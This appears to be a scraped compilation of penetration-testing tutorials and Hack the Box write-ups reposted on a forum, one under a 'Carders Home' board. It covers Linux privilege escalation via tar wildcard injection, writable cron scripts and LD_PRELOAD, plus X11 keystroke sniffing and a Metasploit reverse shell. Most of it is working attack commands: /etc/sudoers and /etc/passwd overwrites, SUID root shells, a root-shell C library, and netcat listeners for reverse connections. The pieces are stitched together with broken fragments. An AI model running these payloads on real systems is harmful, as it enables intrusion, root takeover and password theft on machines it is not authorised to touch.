echo "" > --checkpoint=1
tar cf archive.tar *

[Image: 6.png?w=687]
The above commands help the tar command to run the file shell.sh after the first file is archived. Since the tar command is running as root due to crontab, this has the effect of spawning a netcat shell and sending it to the attack platform on port 8888. And if you go back to the terminal window where the listener was on, you will have victim’s reverse connection in after 1 minute.
id
whoami

1
2

id
whoami

Conceptual Information:
If you have ever explored chown to read its optional switches then you will find the following option.
–checkpoint[=NUMBER] show progress messages every Numbers record (default 10)
–checkpoint-action=ACTION execute ACTION on each checkpoint
There is a ‘–checkpoint-action’ option, that will specify the program which will be executed when the checkpoint is reached. Mainly, this permits us to run an arbitrary command. Hence Options ‘–checkpoint=1’ and ‘–checkpoint-action=exec=sh shell.sh’ are handed to the ‘tar’ program as command line options.
[Image: 7.png?w=687]
Post Exploitation via tar (Phase II)
Lab Setup
There are multiple ways to take compressed backup and multi techniques can also be applied for privilege escalation. In this phase, with help of tar, we are going to take compress backup of a directory. For example, make a new directory whose backup you wish to take and give ALL permission to it and then create some files.
cd /tmp
mkdir data
chmod 777 data
cd data
echo "" > f1
echo "" > f2
echo "" > f3
ls

1
2
3
4
5
6
7
8

cd /tmp
mkdir data
chmod 777 data
cd data
echo "" > f1
echo "" > f2
echo "" > f3
ls

[Image: 8.png?w=687]
Now in other directory write a bash script for taking backup of /tmp/data with help of tar archive program.
mkdir info
cd info
nano script.sh
chmod 777 script.sh

1
2
3
4

mkdir info
cd info
nano script.sh
chmod 777 script.sh

[Image: 9.png?w=687]
#!/bin/bash
cd /tmp/data
tar cf /info/backup.tgz *

1
2
3

#!/bin/bash
cd /tmp/data
tar cf /info/backup.tgz *

[Image: 10.png?w=687]
Now schedule a task with help of crontab to run tar archival program for taking backup of /html inside /var/backups in every 1 minute.
nano /etc/crontab                                 
*/1 *  * * *  root    /info/script.sh

1
2

nano /etc/crontab                                 
*/1 *  * * *  root    /info/script.sh

[Image: 11.png?w=687]
And after 1 minute you will notice the backup.tgz file is generated inside info directory.
[Image: 12.png?w=687]
Tar Wildcard Injection
Inject netcat reverse _shell for Privilege Escalation
Start your attacking machine and first compromise the target system and then move to privilege escalation stage. Suppose I successfully login into the victim’s machine through ssh and access non-root user terminal. Then open crontab to view if any job is scheduled.
cat /etc/crontab
1
cat /etc/crontab

Here we notice the target has scheduled a bash program script for every 1 minute and we know that cron job runs as root. The minute attacker read the program written inside the script.sh, he can apply the tar wildcard injection.
[Image: 13.png?w=687]
Again generate netcat reverse shell payload as done above.
[Image: 15.png?w=687]
And again repeat the above step as shown in the image.
[Image: 16.png?w=687]
Then get back to netcat shell for victim’s reverse connection and you will notice after 1 minute you get victim’s netcat session.
whoami
cd /root
pwd

1
2
3

whoami
cd /root
pwd

Hence, the target can be easily exploited if he makes usage tar archive program either by scheduling job via command or through bash script.
[Image: 17.png?w=687]
Tar Wildcard Injection (2nd method)
Exploit Sudoers file for Privilege Escalation
Basically, with help wildcard injection an attack wants to gain the highest privilege of the system, therefore, he will try to inject some malicious code with help of tar for root access. But there are multiple ways to obtain root access and hence you can apply the following techniques for privilege escalation.
Suppose you have victim’s machine as a non-root user and for privilege escalation either take root access or try to give sudo right to non-root user by adding him sudoers file. Thus you can take help of following commands.
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
echo "" > "--checkpoint-action=exec=sh demo.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

1
2
3
4

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh
echo "" > "--checkpoint-action=exec=sh demo.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

With the help of above command we had tried to give root permission to the user: ignite and for 1 minute. After 1 minute passed we successfully owned the root account.
sudo -l
sudo bash
whoami

1
2
3

sudo -l
sudo bash
whoami

[Image: 18.png?w=687]
Tar Wildcard Injection (3rd method)
Privilege Escalation-Give SUID permission to system binaries
There are multiple ways for privilege escalation with help of tar injection but we are discussing very few methods among them. Suppose you have victim’s machine as the non-root user and for privilege escalation, you can try to enable SUID bit for any system binaries and likewise above again you can take help of the following command for obtaining root access.
echo "chmod u+s /usr/bin/find" > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
ls -al /usr/bin/find
find f1 -exec "whoami" \;
root
find f1 -exec "/bin/sh" \;
id
whoami

1
2
3
4
5
6
7
8
9
10

echo "chmod u+s /usr/bin/find" > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *
ls -al /usr/bin/find
find f1 -exec "whoami" \;
root
find f1 -exec "/bin/sh" \;
id
whoami

We Hope, you people will enjoy these tricks while penetration testing.
[Image: 19.png?w=687]
Source: //www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt

Hello friends!! Today we are going to solve another CTF challenge “Sneaky” which is available online for those who want to increase their skill in penetration testing and black box testing. Sneaky is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.20 so let’s begin with nmap port enumeration.
nmap -sT -sU 10.10.10.20
1
nmap -sT -sU 10.10.10.20

From given below image, you can observe we found port 80 and 161 are open on target system.
[Image: 1.png?w=687&ssl=1]
As port 80 is running http we open it in our browser, the website shows that it’s under construction.
[Image: 3.png?w=687&ssl=1]
We initiate dirb to enumerate the directories hosted on the target machine.
dirb

[To see content please register here]


1
dirb

[To see content please register here]


[Image: 2.png?w=687&ssl=1]
We find a directory called /dev/ we open it in our browser and find a login screen.
[Image: 4.png?w=687&ssl=1]
We find the login page is vulnerable to sql injection; we use this vulnerability to bypass the login page using query ‘or 1=1—in username and password.
[Image: 5.png?w=687&ssl=1]
After logging in we find a link on the webpage.
[Image: 6.png?w=687&ssl=1]
We open the link and find a RSA private key. We download the key into our system.
[Image: 7.png?w=687&ssl=1]
Now the target machine is not running any ssh service so that we can use this to login through ssh.
To investigate further we enumerate SNMP protocol to gain more information.
msf > use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(scanner/snmp/snmp_enum) > set rhosts 10.10.10.20
msf auxiliary(scanner/snmp/snmp_enum) > set threads 5
msf auxiliary(scanner/snmp/snmp_enum) > exploit

1
2
3
4

msf > use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(scanner/snmp/snmp_enum) > set rhosts 10.10.10.20
msf auxiliary(scanner/snmp/snmp_enum) > set threads 5
msf auxiliary(scanner/snmp/snmp_enum) > exploit

[Image: 10.1.png?w=687&ssl=1]
After enumerating the target machine we find that maybe ssh is running in ipv6.
[Image: 10.2.png?w=687&ssl=1]
We use a python script called Enyx to find the ipv6 address of the target machine. You can get the script from this

[To see content please register here]

.

python enyx.py 2c public 10.10.10.20
1
python enyx.py 2c public 10.10.10.20

[Image: 10.png?w=687&ssl=1]
After finding the ipv6 address of the target machine we login through ssh using the username and RSA Private key that we find after we login on the /dev/ page.
ssh -i key thrasivoulos@dead:beef:0000:0000:0250:56ff:fe8f:d853
1
ssh -i key thrasivoulos@dead:beef:0000:0000:0250:56ff:fe8f:d853

[Image: 12.png?w=687&ssl=1]
After logging in through ssh we find a file called user.txt we open it and find our first flag. Now we try to find files with suid bit set.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null

[Image: 13.png?w=687&ssl=1]
We find a binary file called chal in /usr/local/bin we open it in gdb and find there is a strcpy function.
(gdb) set disassembly-flavor intel
(gdb) disas main
pattern_create.rb -l 500
1
pattern_create.rb -l 500

[Image: 14.png?w=687&ssl=1]
Now we try to check if we can overflow the memory through this strcpy function. First we create a 500 byte string using the patter create script in metasploit.
[Image: 15.png?w=687&ssl=1]
We run the file in gdb and find that the return address was overwritten with the characters in the string.
[Image: 16.png?w=687&ssl=1]
We check the size that is required to completely overwrite the return address by checking the location of the string that became the return address inside the pattern that we created. We use pattern offset tool to check the corresponding location.
pattern_offset.rb -q 316d4130 -l 500
1
pattern_offset.rb -q 316d4130 -l 500

[Image: 17.png?w=687&ssl=1]
We find that after 362 bytes the return address gets overwritten. Now we take a look at the stack to find a location for nop sled and shell code.
[Image: 18.png?w=687&ssl=1]
We picked the stack address 0xbffff510; you can change the stack pointer address and pick the shellcode according to your need.  We use python script to create our exploit and pass the output as argument for the file. When we run the command below, we get a tty shell as root user. We move to /root/ directory and find a file called root.txt; we open the file and find our final flag.
[Image: 19.png?w=687&ssl=1]

After solving several OSCP Challenges we decided to write the article on the various method used for Linux privilege escalation, that could be helpful for our readers in their penetration testing project. In this article, we will learn “Privilege Escalation by exploiting Cron Jobs” to gain root access of a remote host machine and also examine how a bad implement cron job can lead to Privilege escalation. If you have solved CTF challenges for Post exploit then by reading this article you will realize the several loopholes that lead to privileges escalation.
For details, you can read our previous article where we had applied this trick for privilege escalation. Open the links given below:

[To see content please register here]

:
Hack the Box Challenge: Europa Walkthrough

[To see content please register here]

:
Hack the Milnet VM (CTF Challenge)

Table of content
  • Introduction
  • Cron job
  • Crontab syntax
  • Crontab File overwrite
  • Lab Setup (Ubuntu)
  • Exploiting cron job (Kali Linux)
  • Crontab Tar wildcard Injection
  • Lab Setup (Ubuntu)
  • Exploiting cron job (Kali Linux)
Let’s Start!!!
What is a cron job?
Cron Jobs are used for scheduling tasks by executing commands at specific dates and times on the server. They’re most commonly used for sysadmin jobs such as backups or cleaning /tmp/ directories and so on. The word Cron comes from crontab and it is present inside /etc directory.
[Image: 0.png?w=687]

For example:  Inside crontab, we can add the following entry to print apache error logs automatically in every 1 hour.
1 0 * * * printf "" > /var/log/apache/error_log
1
1 0 * * * printf "" > /var/log/apache/error_log


Crontab File overwrite
Lab Setup for the Poorly configured cron job
Objective: Set a new job with help of crontab to run a python script which will erase all data from in a particular directory.
Let assume “cleanup” is the directory whose data will be cleared automatically every two minutes. Thus we have saved some data inside /home/cleanup.
mkdir cleanup
cd cleanup
echo "hello friends" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo > 1.php
echo > 2.php
ls

1
2
3
4
5
6
7

mkdir cleanup
cd cleanup
echo "hello friends" > 1.txt
echo "ALL files will be deleted in 2 mints" > 2.txt
echo > 1.php
echo > 2.php
ls

As you can observe from the given image some files are stored inside the cleanup directory.
[Image: 1.png?w=687]
Now write a python program in any other directory to delete data from inside /home/cleanup and give it all permission.
cd /tmp
nano cleanup.py

1
2

cd /tmp
nano cleanup.py


#!/usr/bin/env python
import os
import sys
try:
  os.system('rm -r /home/cleanup/* ')
except:
    sys.exit()

1
2
3
4
5
6
7

#!/usr/bin/env python
import os
import sys
try:
  os.system('rm -r /home/cleanup/* ')
except:
    sys.exit()


chmod 777 cleanup.py
1
chmod 777 cleanup.py

[Image: 2.png?w=687]
At last schedule a task with help of crontab to run cleanup.py for every 2 minutes.
nano /etc/crontab
*/2 *  * * *  root    /tmp/cleanup.py

1
2

nano /etc/crontab
*/2 *  * * *  root    /tmp/cleanup.py

[Image: 3.png?w=687]
Now let’s verify our objectives
chmod 777 cleanup.py
cd /home/cleanup
ls
date
ls
date

1
2
3
4
5
6

chmod 777 cleanup.py
cd /home/cleanup
ls
date
ls
date

Cool!! It is working, as you can see all file has been deleted after two minutes.
[Image: 4.png?w=687]
Post Exploitation
Start your attacking machine and first compromise the target system and then move to privilege escalation stage. Suppose I successfully login into the victim’s machine through ssh and access non-root user terminal. Execute the following command as shown below.
cat /etc/crontab
ls  -al /tmp/cleanup.py
cat /tmp/cleanup.py

1
2
3

cat /etc/crontab
ls  -al /tmp/cleanup.py
cat /tmp/cleanup.py

From the above steps, we notice the crontab is running python script every two minutes now let’s exploit.
[Image: 5.png?w=687]
There so many methods to gain root access as in this method we enabled SUID bits /bin/dash. It is quite simple, first, open the file through some editor, for example, nanocleanup.py and replace “rm -r /tmp/*” from the following line as given below
os.system('chmod u+s /bin/dash')
1
os.system('chmod u+s /bin/dash')

[Image: 6.png?w=687]
After two minutes it will set SUID permission for /bin/dash and when you will run it will give root access.
/bin/dash
id
whoami

1
2
3

/bin/dash
id
whoami

Awesome!! We hit the Goal…………………
[Image: 7.png?w=687]
Crontab Tar Wildcard Injection
Lab Setup
Objective: schedule a task with help of crontab to take backup with tar archival program of HTML directory.
The directory should have executable permission whose backup you are going to take.
[Image: 8.png?w=687]
Now schedule a task with help of crontab to run tar archival program for taking backup of /html inside /var/backups in every 1 minute.
nano /etc/crontab
*/1 *  * * *  root tar -zcf /var/backups/html.tgz /var/www/html/*

1
2

nano /etc/crontab
*/1 *  * * *  root tar -zcf /var/backups/html.tgz /var/www/html/*

[Image: 9.png?w=687]
Let’s verify the schedule is working or not by executing following command.
cd /var/backup
ls
date

1
2
3

cd /var/backup
ls
date

From given below image you can notice the html.tgz file has been generated after 1 minute.
[Image: 10.png?w=687]
Post Exploitation
Start your attacking machine and first compromise the target system and then move to privilege escalation stage. Suppose I successfully login into the victim’s machine through ssh and access non-root user terminal. Then open crontab to view if any job is scheduled.
cat /etc/crontab
1
cat /etc/crontab

Here we notice the target has scheduled a tar archival program for every 1 minute and we know that cron job runs as root. Let’s try to exploit.
[Image: 11.png?w=687]
Execute the following command to grant sudo right to logged user and following post exploitation is known as wildcard injection.
echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

1
2
3
4

echo 'echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
tar cf archive.tar *

Now after 1 minute it will grant sudo right to the user: ignite as you can confirm this with the given below image.
sudo -l
sudo bash
whoami

1
2
3

sudo -l
sudo bash
whoami

YUPPIEEEE!!! We have successfully obtained root access.
[Image: 12.png?w=687]


  [Guide] How to Hack the Box Challenge: Chatterbox Walkthrough
Posted by: NINZA - 05-14-2020, 08:58 AM - Forum: Carders Home - No Replies

Today we are going to solve another CTF challenge “Chatterbox” which is categories as retired lab presented by Hack the Box for making online penetration practices.
Level: Easy
Task: find user.txt and root.txt file on the victim’s machine.
Penetrating Methodology

  • Scanning
  • Open ports and Running Services
  • Identify Vulnerable service
  • Exploiting  vulnerable service (Metasploit)
  • Get user.txt
  • Get root.txt
Walkthrough
Since these labs are online accessible therefore they have static IP. The IP of chatterbox is 10.10.10.74 so let’s initiate with nmap port enumeration.
nmap -p1-10000 10.10.10.74
1
nmap -p1-10000 10.10.10.74

It has shown two ports are open but didn’t disclose running services through them.
[Image: 1.png?w=687&ssl=1]
Therefore we took help from Google and asked to look for any exploit related to these port as shown in the below image. So it put up two exploits related to Achat. First, we tried Metasploit exploit to compromise victim’s machine and almost successfully seized meterpreter session, but the session was getting died in few seconds.
Thus we choose the manual technique to compromise the victim’s machine by using exploit DB 36025.
[Image: 2.png?w=687&ssl=1]
Exploit 36025 is already stored inside Kali Linux and we have copied it on the Desktop.
cd Desktop
cp /usr/share/exploitdb/exploits/windows/remote/36025.py .
cat 36025.py

1
2
3

cd Desktop
cp /usr/share/exploitdb/exploits/windows/remote/36025.py .
cat 36025.py

According to this python script, it is exploitable to Buffer overflow and highlighted msfvenom code is used to generate payload.
[Image: 12.png?w=687&ssl=1]
With the help of the above script, we execute the following command to generate payload.
Then copied the generated shellcode.
[Image: 15.png?w=687&ssl=1]
Now open the original 36025.py which you have saved on the desktop and paste above-copied shellcode here and then enter victim’s IP (10.10.10.74) as Server_address. Now start Netcat for reverse connection before running this script.
nc -lvp 1234
1
nc -lvp 1234

[Image: 16.png?w=687&ssl=1]
Now run your python script to lunch Buffer overflow attack on victim’s machine.
python 36025.py
1
python 36025.py

[Image: 19.png?w=687&ssl=1]
BOOM!! Here we command shell of victim’s machine. Let’s finish this task by grabbing both flags.
[Image: 20.png?w=687&ssl=1]
Inside C:\Users\Alfred\Desktop we found user.txt flag used type “filename” command for reading this file.
cd Desktop
type user.txt

1
2

cd Desktop
type user.txt

Great!! We got our 1st flag successfully
[Image: 21.png?w=687&ssl=1]
Inside C:\Users\Administrator\Desktop I found the root.txt file and type “filename” command for reading this file.
cd Desktop
type root.txt

1
2

cd Desktop
type root.txt

But this file didn’t open due to less permission.
[Image: 22.png?w=687&ssl=1]
With help of following cacls command, we can observe the permission and can change the file’s permissions where we had granted read operate to User: Alfred for the root.txt file.
cacls C:\Users\Administrator\Desktop
cacls root.txt /g Alfred:r
type root.txt

1
2
3

cacls C:\Users\Administrator\Desktop
cacls root.txt /g Alfred:r
type root.txt

Congratulation!! 2nd Task is also completed
[Image: 23.png?w=687&ssl=1]

In this Post, we are going to discuss a new technique of privilege escalation by exploiting an environment variable “LD_Preload” but to practice this you must take some help from our previous

[To see content please register here]

.

Table of contents
  • Introduction
  • Shared Libraries
  • Shared Libraries Names
  • LD_Preload
  • Lab setup
  • Privilege Escalation
Introduction
Shared Libraries
Shared libraries are libraries that are loaded by programs when they start. When a shared library is installed properly, all programs that start afterward automatically use the new shared library.
Shared Libraries Names
Every shared library has a special name called the “soname”. The soname has the prefix “lib”, the name of the library, the phrase `”.so”, followed by a period and a version number.
The dynamic linker can be run either indirectly by running some dynamically linked program or shared object. The programs ld.so and ld-linux.so* find and load the shared objects (shared libraries) needed by a program, prepare the program to run, and then run it. (read from here)
LD_Preload: It is an environment variable that lists shared libraries with functions that override the standard set, just as /etc/ld.so.preload does. These are implemented by the loader /lib/ld-linux.so
For more information read from

[To see content please register here]

.

Lab setup
It is important that logged user must have some sudo rights, therefore, we have given some sudo rights such as /usr/bin/find to be executed by sudo user. But apart from that, there is some Default specification where you can set an environment variable to work as sudo.
To do this follow the below steps:
  • Open /etc/sudoers file by typing visudo
  • Now give some sudo rights to a user, in our case “raj” will be members of sudoers.
raj  ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
1
raj  ALL=(ALL:ALL) NOPASSWD: /usr/bin/find

  • Then add the following as default specification to set the environment for LD_preload.
Defaults        env_keep += LD_PRELOAD
1
Defaults        env_keep += LD_PRELOAD

[Image: 2.png?w=687]
Privilege Escalation
To exploit such type of vulnerability we need to compromise victim’s machine at once then move to privilege escalation phase. Suppose you successfully login into victim’s machine through ssh now for post exploitation type sudo -l command to detect it. And notice the highlighted environment variable will work as sudo.
[Image: 3.png?w=687]
Let’s generate a C-program file inside /tmp directory.
[Image: 4.png?w=687]
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

1
2
3
4
5
6
7
8
9

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

Then save it as shell.c inside /tmp.
[Image: 5.png?w=687]
As discussed let’s compile it to generate a shared object with .so extension likewise .dll file in the Windows operating system and hence type following:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami

1
2
3
4
5

gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami

Yuppieeee!!!! We got the ROOT access.
[Image: 6.png?w=687]

In Linux, everything is a file, including directories and devices that have permissions to allow or restricted three operations i.e. read/write/execute. When admin set permission for any file, he should be aware of Linux users to whom he is going to allow or restrict all three permissions.
In this article, we are going to discuss Linux privilege escalation through writable file/script. To know more about Linux system permission to read this

[To see content please register here]

.

Table of content
Methods to Escalate root via writable script
  1. Copy /bin/sh inside /tmp
  2. Set SUID bit for /bin/dash
  3. Give ALL permission to logged user through sudoers
  4. Set SUID bit for /bin/cp
  5. Malicious code for reverse connection.
Let’s start!!!
Start your attacking machine and first compromise the target system and then move to privilege escalation stage. Suppose I successfully login into victim’s machine through ssh and access non-root user terminal. Then by using the following command, we can enumerate all binaries having writable permission.
find / -writable -type  f 2>/dev/null | grep -v "/proc/"
1
find / -writable -type  f 2>/dev/null | grep -v "/proc/"

As you can observe that it has shown a python file which is stored inside /lib/log. When we explored that path we notice permission 777 for sanitizer.py
[Image: 10.png?w=687&ssl=1]
So here the following script was added by admin to clean up all junk file from inside /tmp and these type of files depends upon specific time interval for executions.
Now if an attack identifies such types of situation in the victim’s machine then he can destroy his system by escalating root privileges in the following ways:
[Image: 11.png?w=687&ssl=1]
1st Method
There so many methods to gain root access as in this method we copied /bin/sh inside /tmp and enabled SUID for /tmp/sh. It is quite simple, first, open the file through some editor for example nano sanitizer.pyn and replace “rm -r /tmp/*” from the following line as given below
os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')

1
2

os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')

[Image: 13.png?w=687&ssl=1]
After some time it will create a script file inside /tmp directory with SUID permission and when you will run it, you will give root access.
cd /tmp
ls
./sh
id
whoami

1
2
3
4
5

cd /tmp
ls
./sh
id
whoami

As you can confirm this from given below image.
[Image: 14.png?w=687&ssl=1]
2nd Method
Similarly, you can also replace “rm -r /tmp/*” from the following line as given below.
os.system('chmod u+s /bin/dash')
1
os.system('chmod u+s /bin/dash')

[Image: 15.png?w=687&ssl=1]
After some time it will set SUID permission for /bin/dash and when you will run it will give root access.
/bin/dash
id

1
2

/bin/dash
id

As you can confirm this from given below image.
[Image: 16.png?w=687&ssl=1]
3rd Method
In this method, we have pasted python reverse shell connection code at the place of rm -r /tmp/* and start netcat listener in a new terminal.
[Image: 17.png?w=687&ssl=1]
And as said above after some time we got the reverse connection through netcat and root access.
nc -lvp 1234
id
whoami

1
2
3

nc -lvp 1234
id
whoami

As you can confirm this from given below image.
[Image: 18.png?w=687&ssl=1]
4th Method
Another most interesting method is to give sudo right to the logged users by making him sudoers file member. If you will notice below image then you can ensure that currently user: wernerbrandes may not run sudo command.
[Image: 19.png?w=687&ssl=1]
Similarly you can also replace “rm -r /tmp/*” from following line as given below.
os.system('echo "wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')
1
os.system('echo "wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')

[Image: 20.png?w=687&ssl=1]
And after some time, when you will type “sudo -l” command then you will notice, it becomes the member of sudo users. To take root access type “sudo bash” and enjoy the root access.
sudo -l
sudo bash
id

1
2
3

sudo -l
sudo bash
id


5th Method
As we all know how much important role play by passwd in any Linux like the system and if an attacker gets the chance to modify this file, it becomes a dynamic way of privilege escalation.
Similarly, we will try something like this BUT with help of the writable script, here by using cat command we can etc/passwd file.
Here you can observe the highlighted entry for user: nemo records, as per my guessing UID:1000 & GID:1000 indicates it would be a member of admin group.
However, we want to edit nemo record to make him a member of the root, therefore, select the whole content of etc/passwd and copy it and then paste into empty text file.
[Image: 22.png?w=687&ssl=1]
After then in a new terminal generate a salt password with help of openssl as shown and copy it.
openssl passwd -1 -salt abc 123
1
openssl passwd -1 -salt abc 123

[Image: 23.png?w=687&ssl=1]
Now paste above-copied salt password at the place of “X” in the record entry of user nemo and also change previous UID&GID with 0:0 as shown in the given image. Once above said all steps are completed save the text file as “passwd” because when you will transfer this file to victim’s machine it will overwrite the content of the original passwd file.
cd Desktop
python -m SimpleHTTPServer 80

1
2

cd Desktop
python -m SimpleHTTPServer 80

[Image: 24.png?w=687&ssl=1]
Now taking advantage of writable script replace “rm -r /tmp/*” from the following line as given below.
os.system('chmod u+s /bin/cp')
1
os.system('chmod u+s /bin/cp')

After some time it will enable SUID bit for /bin/cp to copy any file.
[Image: 25.png?w=687&ssl=1]
Now download your modified passwd file inside /tmp directory of victim’s machine. Let’s check whether SUID bit gets enabled for /bin/cp or not with help of the following command after then copy modify passwd file into /etc/passwd with help of cp command which will overwrite the content of original passwd file.
cd /tmp
wget

[To see content please register here]

ls -al /bin/cp
cp passwd /etc/passwd

1
2
3
4

cd /tmp
wget

[To see content please register here]

ls -al /bin/cp
cp passwd /etc/passwd

[Image: 26.png?w=687&ssl=1]
Now let confirm whether we have successfully manipulated the content of passwd file or not with help of the following command.
tail /etc/passwd
1
tail /etc/passwd

Wonderful!!! You can observe the following changes has now become part of the passwd file.
[Image: 27.png?w=687&ssl=1]
Now let take root access by executing the following command:
su nemo
password 123
whoami

1
2
3

su nemo
password 123
whoami

So today we have demonstrated how an attacker can lead to privilege escalation through the writable file.
[Image: 28.png?w=687&ssl=1]

X is an architecture-independent system for remote graphical user interfaces and input device capabilities. Each person using a networked terminal has the ability to interact with the display with any type of user input device.
Source:

[To see content please register here]


In most cases, the X Server’s access control is disabled. But if enabled, it allows anyone to connect to the server. This Vulnerability is called X11 Server Unauthenticated Access Open. You can get more information from

[To see content please register here]

.

For a proper demonstration, we will have to set up an X11 Lab with this Vulnerability.
Lab Setup
We will use an Ubuntu 14.04 system for this Vulnerable Lab setup. After the basic installation of the Ubuntu Server(LAMP), we will focus on locating the “lightdm.conf” file.
The Location of this file is: /etc/lightdm/lightdm.conf.
But if you can’t seem to find this at that location, you can get it for yourself from

[To see content please register here]

.

NOTE: As all the files we are going to edit are accessible to the root user and the commands we are going to run are also for the root user. So to avoid the usage of sudo again and again, we are using a root terminal. To get the root terminal run “sudo bash” command in your terminal.
To edit the file, we will use gedit.
gedit /etc/lightdm/lightdm.conf
1
gedit /etc/lightdm/lightdm.conf

[Image: 1.png?w=687&ssl=1]
To create vulnerability, we will uncomment the following line in lightdm.conf as shown below :
xserver-allow-tcp=true
1
xserver-allow-tcp=true

[Image: 2.png?w=687&ssl=1]
Now that we have saved the changes made in the conf file, to make them come in effect, we will restart the lightdm service.
service lightdm restart
1
service lightdm restart

[Image: 3.png?w=687&ssl=1]
Now when the lightdm service restarts, we will disable the access control with the following command. This will allow clients on the network to get connected to the server.
xhost +
1
xhost +

And That’s it. We have successfully created the X11 Vulnerable Server.
[Image: 4.png?w=687&ssl=1]
Penetration Testing of X11 Server
To begin Penetration Testing, we will start with the enumeration of the Vulnerable Server. To do a port enumeration we will use the nmap tool.

nmap -sV 192.168.1.109
1
nmap -sV 192.168.1.109

[Image: 5.png?w=687&ssl=1]
As we can see from the image that we have the TCP port 6000 open on the Server (192.168.1.109). Also, it is running the X11 service on that port.
Nmap has a script, which checks if the attacker is allowed to connect to the X Server. We can check if the X Server allows us the connection as shown below.
nmap 192.168.1.109 -p 6000 --script x11-access
1
nmap 192.168.1.109 -p 6000 --script x11-access

We can clearly see from the image provided that the X Server allows us access.
[Image: 6.png?w=687&ssl=1]
XWININFO
This is the built-in utility in Kali, it shows the window’s information for X Service. xwininfo can be used to get information about the windows opened on the target system.
xwininfo -root -tree -display 192.168.1.109:0
1
xwininfo -root -tree -display 192.168.1.109:0

  • Root = specifies that X’s root window is the target window
  • Tree = displays the names of the windows
  • Display = specify the server to connect to
We can extract much information from the screenshot like:
  • The victim has Gnome Terminal Opened
  • The victim is a VMware user
  • The victim has Nautilus (Ubuntu File Browser) Opened
[Image: 7.png?w=687&ssl=1]
XWD
It is an X Window System utility that helps in taking screenshots. On our Kali System, we will use the xwd to take the screenshot of Xserver. This utility takes the screenshots in xwd format.
xwd -root -screen -silent -display 192.168.1.109:0 > screenshot.xwd
1
xwd -root -screen -silent -display 192.168.1.109:0 > screenshot.xwd

Root = indicates that the root window should be selected for the window dump
Screen = indicates that the GetImage request used to obtain the image
Silent = Operate silently, i.e. don’t ring any bells before and after dumping the window.
Display = specify the server to connect to
[Image: 8.png?w=687&ssl=1]
After running the aforementioned command, we will successfully capture a screenshot from the victim system.
[Image: 9.png?w=687&ssl=1]
Here we have the screenshot captured by the xwd, but it is in .xwd format, so to view it we will have to convert it to a viewable format like .png
convert screenshot.xwd screenshot.png
1
convert screenshot.xwd screenshot.png

[Image: 10.png?w=687&ssl=1]
This command will convert the xwd to a png file. After running this command, we can find out screenshot in the png file format as shown below:
[Image: 11.png?w=687&ssl=1]                             
On opening the png file we can see that the xwd tool has successfully captured the screenshot of the target system.
[Image: 12.png?w=687&ssl=1]
XSPY
It is a built-in tool Kali Linux for the X Window Servers. XSPY is a sniffer, it sniffs keystrokes on the remote or local X Server.
xspy 192.168.1.109
1
xspy 192.168.1.109

[Image: 13.png?w=687&ssl=1]
As we can see from the given screenshot that we got the user password as the victim have unknowingly entered the password. Also, see that the password is not visible on the Server terminal but as the xspy captures the keys typed, hence we have the password typed.
[Image: 14.png?w=687&ssl=1]
Getting the Shell through Metasploit
Now we will use the X11 Keyboard Command Injection module of the Metasploit Framework. This module exploits open X11 Server by connecting and registering a virtual keyboard. Then the Virtual Keyboard is used to open an xterm or gnome-terminal and then type and execute the payload.
NOTE: As X Server is a visual service, while the executing of the module will take place, every task occurring on the Target System will be visible to the Victim.
Now, after opening the Metasploit Framework, we will use the payload as shown:
use unix/x11/x11_keyboard_exec
msf exploit(unix/x11x11_keyboard_exec) > set rhost 192.168.1.109
msf exploit(unix/x11x11_keyboard_exec) > set payload cmd/unix/reverse_bash
msf exploit(unix/x11x11_keyboard_exec) > set lhost 192.168.1.120
msf exploit(unix/x11x11_keyboard_exec) > set lport 4444
msf exploit(unix/x11x11_keyboard_exec) > set time_wait 10
msf exploit(unix/x11x11_keyboard_exec) >  run

1
2
3
4
5
6
7

use unix/x11/x11_keyboard_exec
msf exploit(unix/x11x11_keyboard_exec) > set rhost 192.168.1.109
msf exploit(unix/x11x11_keyboard_exec) > set payload cmd/unix/reverse_bash
msf exploit(unix/x11x11_keyboard_exec) > set lhost 192.168.1.120
msf exploit(unix/x11x11_keyboard_exec) > set lport 4444
msf exploit(unix/x11x11_keyboard_exec) > set time_wait 10
msf exploit(unix/x11x11_keyboard_exec) >  run

[Image: 15.png?w=687&ssl=1]
After running the module, it will first connect to the Server and search for xterm and open it.
